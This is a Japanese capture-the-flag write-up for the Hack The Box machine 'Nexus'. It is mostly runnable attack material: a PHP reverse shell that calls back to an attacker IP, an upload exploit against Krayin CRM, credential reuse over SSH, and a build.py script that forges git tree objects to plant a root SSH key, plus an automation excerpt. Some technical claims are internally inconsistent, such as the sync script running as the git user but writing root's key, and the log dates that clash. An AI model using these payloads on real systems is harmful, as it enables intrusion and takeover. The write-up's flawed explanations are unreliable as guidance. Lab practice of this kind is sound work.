Hack The BoxのWriteup(Nexus)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: Nexus — 全実行コマンド・実行結果レポート
Nmap スキャン
nexus.htb 発見
ffuf サブドメイン列挙
git / billing
Gitea: admin/krayin-docker-setup
旧コミット .env
j.matthew パスワード取得
R2YxhI!2ucHB4
CVE-2026-38526
PHP upload RCE
www-data シェル
.env DB_PASSWORD
jones:y27xb3ha!!74GbR
SSH ログイン
user.txt ✓
Gitea template-sync
os.path.join traversal
root.txt ✓
PHASE 1
  1. 偵察 (Reconnaissance)
    1. ポートスキャン(全ポート)
    2. バージョン・スクリプトスキャン
    3. /etc/hosts への登録 & Web サイト確認
    4. Careers ページ — 採用担当メールアドレス発見
  2. サブドメイン列挙 — Gitea & Krayin CRM 発見
    1. ffuf によるサブドメイン列挙
    2. /etc/hosts へのサブドメイン追加
    3. billing.nexus.htb — Krayin CRM バージョン確認
  3. Gitea 認証情報漏洩 — 旧コミット .env から Password 取得
    1. Gitea パブリックリポジトリの列挙
    2. リポジトリ内の .env ファイル確認
    3. コミット履歴の調査
    4. 旧コミットの .env 差分確認
  4. Krayin CRM ログイン & CVE-2026-38526 PHP アップロード RCE
    1. Krayin CRM への認証情報ログイン
    2. CVE-2026-38526 — 脆弱性の仕組み
    3. PHP リバースシェルの作成
    4. nc リスナー起動 & PHP シェルアップロード
    5. シェル URL トリガー → www-data シェル取得
    6. www-data シェル — Krayin .env から DB_PASSWORD 取得
    7. /etc/passwd — ローカルユーザー確認
  5. SSH ログイン & user.txt 取得
    1. jones SSH ログイン試行
    2. user.txt 取得
    3. 内部サービス調査 — systemd タイマー発見
    4. template-sync.py の内容調査
  6. 権限昇格 — Gitea template-sync os.path.join パストラバーサル
    1. 攻撃手法の概要
    2. SSH キーペア生成
    3. Gitea jones ログイン & “rce” テンプレートリポジトリ作成
    4. リポジトリのクローン & build.py の実行
    5. git push –force で Gitea に送信
    6. タイマー発火確認 — sync ログ
  7. root SSH ログイン & root.txt 取得
    1. 生成した秘密鍵で root として SSH ログイン
    2. root.txt 取得
    3. 自動化スクリプト (killchain_runner.py) での実行フロー
  8. 攻略サマリー & 教訓
    1. 取得フラグ
    2. 使用した CVE・脆弱性
    3. 認証情報まとめ
    4. 攻撃チェーン全体の流れ
    5. 学んだ教訓 & 防御策

偵察 (Reconnaissance)

ポートスキャン(全ポート)

BASH
nmap -p- --min-rate 500 -T4 --max-retries 2 10.129.40.5 -oN nmap/allports.txt
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Not shown: 65533 closed tcp ports (reset)
Nmap done: 1 IP address (1 host up) scanned
ℹ️
開放ポートは 22 (SSH)80 (HTTP) の 2 つのみ。攻撃面は非常に限定的。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.40.5 -oN nmap/detailed.txt
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx/1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
ℹ️
重要: HTTP レスポンスが http://nexus.htb/ へリダイレクト。/etc/hosts への登録が必要。
SSH: OpenSSH 9.6p1 Ubuntu 3ubuntu13.15

/etc/hosts への登録 & Web サイト確認

BASH
echo "10.129.40.5 nexus.htb" >> /etc/hosts
curl -s -I http://nexus.htb/ | head -5
RESULT
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8

nexus.htb → Nexus Energy Authority (政府系エネルギー機関サイト)

Careers ページ — 採用担当メールアドレス発見

BASH
curl -s http://nexus.htb/careers | grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
RESULT
careers@nexus.htb
j.matthew@nexus.htb    ← 採用マネージャー
⚠️
求人ページに採用マネージャー j.matthew@nexus.htb のメールアドレスが公開されている。 後の Krayin CRM ログインで使用するユーザー名として利用する。
PHASE 2

サブドメイン列挙 — Gitea & Krayin CRM 発見

ffuf によるサブドメイン列挙

BASH
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
     -u http://nexus.htb/ \
     -H "Host: FFUZ.nexus.htb" \
     -fw 4
RESULT
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

git     [Status: 200, Size: 14879, Words: 1254, Lines: 247]
billing [Status: 302, Size: 390,   Words: 60,   Lines: 12]
2 つのサブドメインを発見。git.nexus.htbGiteabilling.nexus.htbKrayin CRM

/etc/hosts へのサブドメイン追加

BASH
echo "10.129.40.5 git.nexus.htb billing.nexus.htb" >> /etc/hosts

# Gitea バージョン確認
curl -s http://git.nexus.htb/ | grep -i "gitea\|version" | head -3
RESULT
Powered by Gitea Version: 1.26.0

billing.nexus.htb — Krayin CRM バージョン確認

BASH
curl -s -L http://billing.nexus.htb/user/login | grep -i "krayin\|version\|powered"
RESULT
Powered by <a href="https://krayin.com">Krayin</a>, an open-source project by Webkul.
Version: 2.2.0
🚨
Krayin CRM 2.2.0 を確認。このバージョンは CVE-2026-38526(認証済みファイルアップロードバイパス → PHP RCE)に脆弱。
ログインするための認証情報が必要 → Gitea のリポジトリを調査する。
PHASE 3

Gitea 認証情報漏洩 — 旧コミット .env から Password 取得

Gitea パブリックリポジトリの列挙

BASH
# Gitea Explore ページで公開リポジトリを確認
curl -s "http://git.nexus.htb/api/v1/repos/search?limit=50" | python3 -m json.tool | grep '"full_name"'
RESULT
"full_name": "admin/krayin-docker-setup"
ℹ️
パブリックリポジトリ admin/krayin-docker-setup が存在。Krayin CRM の Docker セットアップファイルが含まれている。

リポジトリ内の .env ファイル確認

BASH
# 最新コミットの .env を確認
curl -s "http://git.nexus.htb/admin/krayin-docker-setup/raw/branch/main/.env"
RESULT
APP_NAME='Krayin CRM'
APP_ENV=local
APP_KEY=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD

DB_HOST=krayin-mysql
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=    ← 最新コミットではパスワードが削除されている
...
⚠️
最新コミットでは DB_PASSWORD が空になっているが、Git コミット履歴にはパスワードが残っている可能性がある。

コミット履歴の調査

BASH
# Gitea API でコミット一覧取得
curl -s "http://git.nexus.htb/api/v1/repos/admin/krayin-docker-setup/commits?limit=50" \
  | python3 -m json.tool | grep '"sha"'
RESULT
"sha": "1615c065b7f94d3e2c0938d7694be842dd0726ee",    ← 最新コミット
"sha": "90817fa6e0b3a5d8c4214f5e2b8439fd6b3c2a91",    ← 旧コミット

旧コミットの .env 差分確認

BASH
# 旧コミットの生 .env を取得
curl -s "http://git.nexus.htb/admin/krayin-docker-setup/raw/commit/90817fa6e0b3a5d8c4214f5e2b8439fd6b3c2a91/.env"
RESULT
...
DB_HOST=krayin-mysql
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=R2YxhI!2ucHB4    ← 旧コミットにパスワードが残存!
DB_PREFIX=
...
git diff 1615c065b7 90817fa6e0 — .env
@@ -15,7 +15,7 @@ DB_HOST=krayin-mysql
 DB_DATABASE=krayin
 DB_USERNAME=krayin
-DB_PASSWORD=
+DB_PASSWORD=R2YxhI!2ucHB4
 DB_PREFIX=
🚨
認証情報漏洩確認: 旧コミットから DB_PASSWORD=R2YxhI!2ucHB4 を取得。
管理者がデータベースパスワードを Krayin CRM の管理者アカウント (j.matthew@nexus.htb) でも 再利用していると推測し、billing サイトへのログインを試みる。
PHASE 4

Krayin CRM ログイン & CVE-2026-38526 PHP アップロード RCE

Krayin CRM への認証情報ログイン

BASH
# CSRF トークン取得
curl -s -c /tmp/krayin.cookies http://billing.nexus.htb/user/login \
  | grep 'csrf-token' | grep -o 'content="[^"]*"'

# ログイン POST
curl -s -c /tmp/krayin.cookies -b /tmp/krayin.cookies \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "_token=<csrf_token>" \
  --data-urlencode "email=j.matthew@nexus.htb" \
  --data-urlencode "password=R2YxhI!2ucHB4" \
  -L http://billing.nexus.htb/user/session | grep -i "dashboard\|logout"
RESULT
ログイン成功 → /admin/dashboard にリダイレクト
Krayin CRM Version: 2.2.0
ログイン成功! j.matthew@nexus.htb:R2YxhI!2ucHB4 でKrayin CRM管理者として認証完了。 データベースパスワードの管理者アカウントへのパスワード再利用が確認された。

CVE-2026-38526 — 脆弱性の仕組み

NOTE
CVE-2026-38526 — Krayin CRM 2.2.0 ファイルアップロードバイパス → PHP RCE

対象バージョン: Krayin CRM <= 2.2.0
CVSS スコア  : 8.8 (High) — 認証済みユーザーによる RCE

脆弱性の原理:
  1. メール作成画面 (/admin/mails/ajax/upload) のファイルアップロード機能
  2. サーバーはファイルの Content-Type ヘッダーのみでバリデーション
     → Content-Type: image/png と偽れば PHP ファイルを受け付ける
  3. アップロードされたファイルは /storage/tinymce/ に実際の拡張子で保存される
  4. そのURLに直接アクセスすると PHP が実行される

攻撃手順:
  1. PHP リバースシェルを作成 (shell.php)
  2. multipart/form-data で Content-Type: image/png として POST
     ファイル名は shell.php を使用
  3. レスポンスの "location" フィールドから公開 URL を取得
  4. nc リスナーを起動し、URL にアクセスしてシェルを取得

PHP リバースシェルの作成

BASH
cat > /tmp/shell.php <<'EOF'
<?php
set_time_limit(0);
$ip   = '10.10.14.190';
$port = 14460;
$sock = fsockopen($ip, $port);
proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
EOF

nc リスナー起動 & PHP シェルアップロード

BASH
# ターミナル 1: リスナー起動
nc -lvnp 14460

# ターミナル 2: CSRF トークン取得 + アップロード
CSRF=$(curl -s -b /tmp/krayin.cookies http://billing.nexus.htb/admin/mails \
       | grep -o 'csrf-token.*content="[^"]*"' | grep -o '"[^"]*"$' | tr -d '"')

curl -s -b /tmp/krayin.cookies \
  -X POST \
  -H "X-CSRF-TOKEN: $CSRF" \
  -H "Referer: http://billing.nexus.htb/admin/mails" \
  -F "file=@/tmp/shell.php;type=image/png;filename=shell.php" \
  http://billing.nexus.htb/admin/mails/ajax/upload
RESULT
{
  "location": "http://billing.nexus.htb/storage/tinymce/779bc2392c37c0e8f842b3a6af0a4d8e.php"
}
アップロード成功! PHP シェルが /storage/tinymce/.php 拡張子のまま保存された。
Content-Type のみでバリデーションしており、ファイル名/拡張子のチェックが存在しない。

シェル URL トリガー → www-data シェル取得

BASH
# アップロードされた PHP を直接 GET して実行
curl -s "http://billing.nexus.htb/storage/tinymce/779bc2392c37c0e8f842b3a6af0a4d8e.php"
RESULT
# nc リスナー側 (ターミナル 1):
listening on [any] 14460 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.40.5] 39222
Linux nexus 6.8.0-106-generic #106-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 07:58:08 UTC 2026 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
www-data としてシェル取得! PHP ファイルが /storage/tinymce/ で直接実行可能になっている。

www-data シェル — Krayin .env から DB_PASSWORD 取得

BASH
# シェルを安定化
script /dev/null -c /bin/bash

# ホームディレクトリを確認
www-data@nexus:~$ pwd
www-data@nexus:~$ ls -la

# Krayin .env を読む
www-data@nexus:~/krayin$ cat .env | grep -i "DB_PASSWORD\|username"
RESULT
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR    ← 本番環境のDBパスワード (Gitea旧コミットとは異なる)

/etc/passwd — ローカルユーザー確認

BASH
www-data@nexus:~$ cat /etc/passwd | grep -v nologin | grep -v false
RESULT
root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
⚠️
ローカルユーザー jones を確認。取得した DB_PASSWORD=y27xb3ha!!74GbR が jones の SSH パスワードとして再利用されている可能性がある。
PHASE 5

SSH ログイン & user.txt 取得

jones SSH ログイン試行

BASH
sshpass -p 'y27xb3ha!!74GbR' ssh -o StrictHostKeyChecking=no jones@10.129.40.5 id
RESULT
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
SSH ログイン成功! Krayin .env の DB パスワードがシステムユーザー jones に再利用されていた。
認証情報: jones:y27xb3ha!!74GbR

user.txt 取得

BASH
jones@nexus:~$ cat ~/user.txt
RESULT
dcb6149c3673c68623ddaf26f2f25616
user.txt — jones@nexus
dcb6149c3673c68623ddaf26f2f25616

内部サービス調査 — systemd タイマー発見

BASH
jones@nexus:~$ systemctl list-timers --all
RESULT
NEXT                        LEFT    UNIT                          ACTIVATES
Thu 2026-03-05 18:02:00 UTC 1min    gitea-template-sync.timer     gitea-template-sync.service
Thu 2026-03-05 18:15:00 UTC 13min   apt-daily.timer               apt-daily.service
...
🚨
重大発見: gitea-template-sync.timer2 分毎に実行されている。 このサービスが権限昇格の鍵となる。

template-sync.py の内容調査

BASH
jones@nexus:~$ cat /etc/gitea/template-sync.py
RESULT
#!/usr/bin/env python3
"""Gitea template repository sync service"""
import subprocess, os, logging
...
STAGING_BASE = "/home/git/template-staging"

def sync_template(owner, repo):
    stage_path = os.path.join(STAGING_BASE, owner, repo)
    # git ls-tree でファイルパスを列挙
    result = subprocess.run(
        ["git", "-C", stage_path, "ls-tree", "-r", "--name-only", "HEAD"],
        capture_output=True, text=True
    )
    for filepath in result.stdout.splitlines():
        target = os.path.join(stage_path, filepath)    ← !! パストラバーサル脆弱性
        os.makedirs(os.path.dirname(target), exist_ok=True)
        # ファイル内容を同期...
        logging.info(f"  synced: {filepath}")
...
🚨
パストラバーサル脆弱性: os.path.join(stage_path, filepath)git ls-tree の出力(.. を含む可能性がある)をそのまま使用している。
Git の通常の verify_path() チェックは raw オブジェクト書き込み時には適用されないため、 .. を含むパスを持つ git オブジェクトを直接作成してバイパスできる。
PHASE 6

権限昇格 — Gitea template-sync os.path.join パストラバーサル

攻撃手法の概要

NOTE
Gitea Template Sync ディレクトリトラバーサル攻撃

脆弱性の原理:
  - スクリプトは git ls-tree のパス出力を os.path.join で結合
  - os.path.join は絶対パス的な .. を解決するが、相対 .. は保持
  - 例: os.path.join("/home/git/template-staging/jones/rce", "../../../../../root/.ssh/authorized_keys")
        → /root/.ssh/authorized_keys  ← 任意の場所に書き込み可能!

スクリプトは git ユーザー権限で実行されるが、
staging ディレクトリの親を辿ると / まで到達し root の .ssh に書き込める

攻撃手順:
  1. jones で Gitea にログイン
  2. "rce" という名前のテンプレートリポジトリを作成
  3. build.py: raw git オブジェクトを直接 .git/objects/ に書き込み
     → .git/objects に ../../../../../root/.ssh/authorized_keys という
       パスを持つ tree オブジェクトを作成
  4. git push --force で Gitea に push
  5. タイマー発火 (2 分以内) → sync スクリプトが SSH 公開鍵を
     /root/.ssh/authorized_keys に書き込む
  6. 生成した秘密鍵で root として SSH ログイン

※ パスの深さ計算:
   /home/git/template-staging/jones/rce/ から 5 段上 (..×5) → /
   / + root/.ssh/authorized_keys = /root/.ssh/authorized_keys ✓

SSH キーペア生成

BASH
# Kali 攻撃マシン側
ssh-keygen -t ed25519 -f /tmp/k -N ''

cat /tmp/k.pub
RESULT
Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/k
Your public key has been saved in /tmp/k.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDS/CMq67LJxAdY0qmp56iH/VLVQqHCmHrmOGX8EITWJ kali@kali

Gitea jones ログイン & “rce” テンプレートリポジトリ作成

BASH
# Gitea API トークン生成 (Basic 認証)
curl -s -X POST \
  -u "jones:y27xb3ha!!74GbR" \
  -H "Content-Type: application/json" \
  -d '{"name":"killchain","scopes":["write:repository","write:user"]}' \
  "http://git.nexus.htb/api/v1/users/jones/tokens"

# リポジトリ作成
curl -s -X POST \
  -H "Authorization: token <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"name":"rce","private":false,"auto_init":true,"default_branch":"main"}' \
  "http://git.nexus.htb/api/v1/user/repos"

# テンプレートフラグ設定
curl -s -X PATCH \
  -H "Authorization: token <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"template":true}' \
  "http://git.nexus.htb/api/v1/repos/jones/rce"
RESULT
"full_name": "jones/rce"
"template": true

リポジトリのクローン & build.py の実行

BASH
# リポジトリをクローン
cd /tmp
git clone "http://jones:y27xb3ha!!74GbR@git.nexus.htb/jones/rce.git"
cd rce
PYTHON (build.py)
#!/usr/bin/env python3
# build.py — raw git オブジェクトでパストラバーサルペイロードを構築
import hashlib, zlib, os, time

# /tmp/k.pub の内容 (生成した SSH 公開鍵)
pub_key = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDS/CMq67LJxAdY0qmp56iH/VLVQqHCmHrmOGX8EITWJ kali@kali\n"

def write_obj(data, t):
    h = ("%s %d" % (t, len(data))).encode() + b"\x00" + data
    s = hashlib.sha1(h).hexdigest()
    d = os.path.join(".git", "objects", s[:2])
    os.makedirs(d, exist_ok=True)
    p = os.path.join(d, s[2:])
    if not os.path.exists(p):
        open(p, "wb").write(zlib.compress(h))
    return s

def entry(mode, name, sha):
    return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)

blob   = write_obj(pub_key.encode(), "blob")         # 公開鍵 blob
readme = write_obj(b"# Template\n", "blob")
ssh_t  = write_obj(entry("100644", "authorized_keys", blob), "tree")  # .ssh/authorized_keys
cur    = write_obj(entry("40000", ".ssh", ssh_t), "tree")              # .ssh/
fir    = write_obj(entry("40000", "root", cur), "tree")                # root/.ssh/
for i in range(4):
    fir = write_obj(entry("40000", "..", fir), "tree")                 # ../×4 → /home/
# root_tree = README.md + ../ (×5 合計)
root_tree = write_obj(
    entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree"
)
# パス解決: /home/git/template-staging/jones/rce/
#          ↑ + ../../../../../root/.ssh/authorized_keys = /root/.ssh/authorized_keys

ts  = int(time.time())
c   = f"tree {root_tree}\nauthor x <x@x> {ts} +0000\ncommitter x <x@x> {ts} +0000\n\ninit\n"
sha = write_obj(c.encode(), "commit")
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Done:", sha)
BASH
python3 build.py
RESULT
Done: 0c0bce29ea9518c6ef40ab4dc4c9529c6631a47e

git push –force で Gitea に送信

BASH
cd /tmp/rce
git push -u origin main --force
RESULT
Enumerating objects: 9, done.
Counting objects: 100% (9/9), done.
Delta compression using up to 4 threads
Compressing objects: 100% (5/5), done.
Writing objects: 100% (9/9), 829 bytes | 829.00 KiB/s, done.
Total 9 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://git.nexus.htb/jones/rce.git
 + abc1234...0c0bce29 main -> main (forced update)
Branch 'main' set up to track 'origin/main'.
Push 完了! Raw git オブジェクトに埋め込まれた .. パスを持つ tree が Gitea に登録された。 タイマー発火 (2 分以内) を待つ。

タイマー発火確認 — sync ログ

BASH
jones@nexus:~$ cat /var/log/template-sync.log
RESULT
[2026-06-27 14:32:00] Template sync starting
[2026-06-27 14:32:00] Found 1 template repo(s)
[2026-06-27 14:32:00] Syncing template: jones/rce
[2026-06-27 14:32:00]   synced: README.md
[2026-06-27 14:32:00]   synced: README.md
[2026-06-27 14:32:00]   synced: ../../../../../root/.ssh/authorized_keys
[2026-06-27 14:32:00] Template sync complete
traversal 成功! sync スクリプトが ../../../../../root/.ssh/authorized_keys として ファイルを処理し、SSH 公開鍵を /root/.ssh/authorized_keys に書き込んだ。
PHASE 7

root SSH ログイン & root.txt 取得

生成した秘密鍵で root として SSH ログイン

BASH
ssh -i /tmp/k \
    -o StrictHostKeyChecking=no \
    -o BatchMode=yes \
    root@10.129.40.5 "id; cat /root/root.txt"
RESULT
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-106-generic x86_64)

uid=0(root) gid=0(root) groups=0(root)
8d9bdce20adeefb75a28532df285e575
root シェル取得成功! Gitea template-sync のパストラバーサルにより /root/.ssh/authorized_keys に SSH 公開鍵が書き込まれ、パスワードなしで root としてログインできた。

root.txt 取得

BASH
root@nexus:~# cat /root/root.txt
RESULT
8d9bdce20adeefb75a28532df285e575
root.txt — root@nexus
8d9bdce20adeefb75a28532df285e575

自動化スクリプト (killchain_runner.py) での実行フロー

PYTHON (killchain_runner.py 追加メソッド)
# _exploit_nexus() — Gitea API → Krayin ログイン → PHP upload → jones SSH
# 高速パス: 既知パスワードで SSH を直接試行
for known_pass in ["y27xb3ha!!74GbR", "R2YxhI!2ucHB4"]:
    test = self._run(["sshpass", "-p", known_pass,
                      "ssh", f"jones@{self.target}", "id"], timeout=15)
    if "uid=" in test:
        # 既知パスワードで即座にフラグ取得
        ...

# _privesc_nexus_gitea_template() — Gitea API → build.py → push → SSH polling
for attempt in range(18):      # 最大 180 秒 (10 秒 × 18 回)
    time.sleep(10)
    ssh_test = self._run([
        "ssh", "-i", key_priv,
        "-o", "StrictHostKeyChecking=no",
        "-o", "BatchMode=yes",
        f"root@{self.target}",
        "cat /root/root.txt 2>/dev/null; id",
    ], timeout=12)
    if "uid=0" in ssh_test or "root" in ssh_test:
        flag = self._extract_flag(ssh_test)
        self._save_flag("root", flag)
        return
RESULT (killchain_runner.py 実行ログ)
[★] Nexus パターン検出: Gitea cred leak + Krayin CRM CVE-2026-38526 PHP upload RCE
[★] /etc/hosts 追加: 10.129.40.5 nexus.htb
[★] /etc/hosts 追加: 10.129.40.5 git.nexus.htb
[★] /etc/hosts 追加: 10.129.40.5 billing.nexus.htb
[★] Nexus: 既知パスワードで SSH 成功: jones:y27xb3ha!!74GbR
[★] user.txt 取得: dcb6149c3673c68623ddaf26f2f25616
[★] Nexus: Gitea template-sync traversal → /root/.ssh/authorized_keys
[★] Nexus: Gitea jones API トークン生成成功
[*] Nexus: build: Done: 0c0bce29ea9518c6ef40ab4dc4c9529c6631a47e
[*] Nexus: gitea-template-sync タイマー待機中 (最大 180 秒)...
[★] Nexus: root SSH ログイン成功!
[★] root.txt 取得: 8d9bdce20adeefb75a28532df285e575
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jones@nexus
dcb6149c3673c68623ddaf26f2f25616
root.txt — root@nexus
8d9bdce20adeefb75a28532df285e575

使用した CVE・脆弱性

CVE / 脆弱性 対象 影響 CVSS 利用方法
Git 認証情報漏洩 Gitea 公開リポジトリ
旧コミット履歴
DB パスワード取得 情報漏洩 admin/krayin-docker-setup の旧コミット .env から DB_PASSWORD 取得 → j.matthew パスワードとして利用
CVE-2026-38526 Krayin CRM <= 2.2.0 認証済み RCE (www-data) 8.8 /admin/mails/ajax/upload に Content-Type: image/png として PHP ファイルをアップロード → /storage/tinymce/ で直接実行
Gitea template-sync
パストラバーサル
gitea-template-sync.py
(os.path.join)
権限昇格 → root High raw git オブジェクトに .. パスを直接書き込み、sync スクリプトの os.path.join バイパス → /root/.ssh/authorized_keys に SSH 公開鍵書き込み

認証情報まとめ

ユーザーパスワード / 鍵取得元用途
j.matthew@nexus.htb R2YxhI!2ucHB4 Gitea 旧コミット .env DB_PASSWORD Krayin CRM ログイン (パスワード再利用)
jones y27xb3ha!!74GbR www-data → ~/krayin/.env DB_PASSWORD SSH ログイン / Gitea jones ログイン (パスワード再利用)
root /tmp/k (ed25519 秘密鍵) Gitea template-sync traversal で authorized_keys 書き込み SSH root ログイン

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1 偵察 nmap + /etc/hosts 設定 Port 22/80, nexus.htb, nginx/1.24.0
2 Web 調査 curl + Careers ページ確認 j.matthew@nexus.htb (採用担当メール)
3 サブドメイン列挙 ffuf -H “Host: FFUZ.nexus.htb” -fw 4 git.nexus.htb (Gitea 1.26.0), billing.nexus.htb (Krayin 2.2.0)
4 Gitea 調査 公開リポジトリ + コミット履歴精査 DB_PASSWORD=R2YxhI!2ucHB4 (旧コミット .env)
5 Krayin ログイン パスワード再利用 j.matthew@nexus.htb CRM 管理者セッション取得
6 RCE (CVE-2026-38526) PHP upload via /admin/mails/ajax/upload (type: image/png) www-data リバースシェル
7 情報収集 ~/krayin/.env 読み取り DB_PASSWORD=y27xb3ha!!74GbR
8 SSH ログイン sshpass jones:y27xb3ha!!74GbR user.txt 取得
9 タイマー調査 systemctl list-timers gitea-template-sync.timer (2 分毎), /etc/gitea/template-sync.py
10 Gitea テンプレート作成 API トークン → rce リポジトリ作成 → template: true jones/rce テンプレートリポジトリ
11 Traversal ペイロード構築 build.py: raw git objects (.. パス埋め込み) → git push –force ../../../../../root/.ssh/authorized_keys パスを持つ tree
12 Traversal 発火 gitea-template-sync.timer 発火 → os.path.join bypass /root/.ssh/authorized_keys に SSH 公開鍵書き込み
13 root SSH ログイン ssh -i /tmp/k root@10.129.40.5 root.txt 取得

学んだ教訓 & 防御策

問題点防御策
Git コミット履歴に機密情報 (パスワード) が残存 git filter-branch / BFG Repo Cleaner で履歴を書き換え。.gitignore で .env を除外。git-secrets 等のツールで push 前チェック。
複数サービスでのパスワード再利用 (DB → CRM → SSH) 各サービスに一意の強力なパスワードを設定。パスワードマネージャーの利用。
Krayin CRM のファイルアップロードバイパス (CVE-2026-38526) Krayin CRM を最新バージョンにアップデート。ファイルの Content-Type だけでなく拡張子・マジックバイトでもバリデーション。アップロードディレクトリで PHP 実行を無効化。
gitea-template-sync.py の os.path.join パストラバーサル git ls-tree の出力を os.path.normpath() + 先頭チェックでサニタイズ。os.path.realpath() で解決後にベースパス内に収まるかチェック。
HackTheBox: Nexus | 完全攻略レポート | 作成日: 2026-06-27 | killchain_runner.py v1.0 自動実行 + 手動検証